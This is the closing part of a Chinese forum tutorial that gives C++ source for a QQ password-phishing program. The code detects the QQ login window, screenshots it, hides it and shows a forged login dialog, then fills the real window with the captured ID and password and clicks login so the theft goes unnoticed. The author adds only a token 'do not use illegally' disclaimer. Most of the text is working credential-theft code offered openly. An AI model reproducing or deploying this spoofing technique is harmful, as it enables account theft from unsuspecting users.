//根据进程ID得到进程名称 BOOL processIdToName(LPTSTR lpszProcessName, DWORD PID) { HANDLE hSnapshot = CreateToolhelp32Snapshot(
TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 pe; pe.dwSize = sizeof(PROCESSENTRY32); if (!Process32First(hSnapshot, &pe)) { return FALSE; } while (Process32Next(hSnapshot, &pe)) { if (pe.th32ProcessID == PID) { strcpy(lpszProcessName, pe.szExeFile); return true; } } return FALSE; } //查找QQ登录窗口 void QQFind() { HWND hWnd1 = NULL, qqID_hWnd = NULL, qqPass_hWnd =
NULL; HWND ButtonLogin = NULL, ButtonCancel = NULL; char sTitle[255]; CString ss; DWORD QQPID; int LoginID; BOOL find = FALSE; do { //获得当前激活窗口的句柄 g_hWnd = GetForegroundWindow(); GetWindowThreadProcessId(g_hWnd, &QQPID); //根据PID获得进程名 processIdToName(sTitle, QQPID); ss = sTitle; ss.MakeLower(); //判断是否QQ if(ss != "qq.exe") { Sleep(100); continue; } //获得标题文字,判断是否登陆对话框 SendMessage(g_hWnd,WM_GETTEXT,255,(LPARAM)sTitle); ss = sTitle; int n = ss.Find("QQ", 0); int m = ss.Find("登录", 0); if(n >= 0 || m >= 0) { //查找QQ登陆按钮的句柄 ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin,
"Button", "登录"); LoginID = GetDlgCtrlID(ButtonLogin); ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin,
"Button", "登录"); LoginID = GetDlgCtrlID(ButtonLogin); //获得QQ登陆按钮窗口位置 GetWindowRect(ButtonLogin, &g_qqLogin); //查找QQ取消按钮的句柄 ButtonCancel = FindWindowEx(g_hWnd, NULL, "Button",
"取消"); //获得QQ取消按钮窗口位置 GetWindowRect(ButtonCancel, &g_qqCancel); //查找QQ密码输入框的句柄 hWnd1 = FindWindowEx(g_hWnd, NULL, "#32770", NULL); if(hWnd1 != NULL) { qqPass_hWnd = FindWindowEx(hWnd1, qqPass_hWnd,
"Edit", NULL); //获得QQ密码输入框窗口位置 GetWindowRect(qqPass_hWnd, &g_qqPassRt); } //查找QQ号码输入框的句柄 hWnd1 = FindWindowEx(g_hWnd, NULL, "ComboBox", NULL); if(hWnd1 != NULL) { qqID_hWnd = FindWindowEx(hWnd1, qqID_hWnd, "Edit",
NULL); //获得QQ号码输入框窗口位置 GetWindowRect(qqID_hWnd, &g_qqIDRt); //获得当前默认QQ号码 SendMessage(qqID_hWnd,WM_GETTEXT, 255,(LPARAM)qqid); } //等待QQ窗口完全出现后抓取整个屏幕 Sleep(100); g_DlgRt.left = 0; g_DlgRt.top = 0; g_DlgRt.right = m_xScreen; g_DlgRt.bottom = m_yScreen; g_pBitmap = CopyScreenToBitmap(&g_DlgRt); //设置QQ窗口为不可见 ShowWindow(g_hWnd, SW_HIDE); //弹出我们创建的伪造对话框 HINSTANCE hInstance = GetModuleHandle(NULL); DialogBoxParam(hInstance, (LPCTSTR)IDD_WIN847, 0,
(DLGPROC)win847, 0); //设置QQ窗口为可见 ShowWindow(g_hWnd, SW_SHOW); //把QQ号码和密码填到真正的QQ登录窗口上,并模拟单击登陆按钮 SendMessage(qqID_hWnd, WM_SETTEXT, 0, (LPARAM)qqid); SendMessage(qqPass_hWnd, WM_SETTEXT, 0, (LPARAM)qqpass); SendMessage(ButtonLogin, BM_CLICK, 0, 0); DeleteObject(g_pBitmap); //设置标志退出循环 find = true; } } while(find == FALSE); }截图如下:
好了,说到这儿也差不多啦,见笑见笑了^_^,最后奉劝一句,请勿用于非法。
欢迎访问最专业的网吧论坛,无盘论坛,网吧经营,网咖管理,网吧专业论坛
https://bbs.txwb.com
关注天下网吧微信/下载天下网吧APP/天下网吧小程序,一起来超精彩
|
本文来源:vczx 作者:佚名